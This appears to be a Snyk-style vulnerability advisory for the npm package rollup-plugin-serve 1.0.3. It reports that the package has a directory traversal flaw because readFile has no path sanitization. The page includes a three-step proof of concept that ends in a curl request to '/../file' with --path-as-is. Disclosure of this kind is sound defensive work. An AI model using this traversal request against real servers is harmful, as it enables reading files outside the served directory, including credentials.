rollup-plugin-serve@1.0.3 vulnerabilities

Serve your rolled up bundle

Direct Vulnerabilities

Known vulnerabilities in the rollup-plugin-serve package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • H
Directory Traversal

rollup-plugin-serve is a rollup plugin to serve the bundle.

Affected versions of this package are vulnerable to Directory Traversal. There is no path sanitization in readFile operation.

PoC by JHU System Security Lab

Step 1: start a server

  var server = require("rollup-plugin-serve");
    server({
      host: 'localhost',
      port: 9000
    })

Step 2: create a file named file in the parent directory of the server's home directory.
Step 3: curl -v --path-as-is http://127.0.0.1:9000/../file

How to fix Directory Traversal?

There is no fixed version for rollup-plugin-serve.

*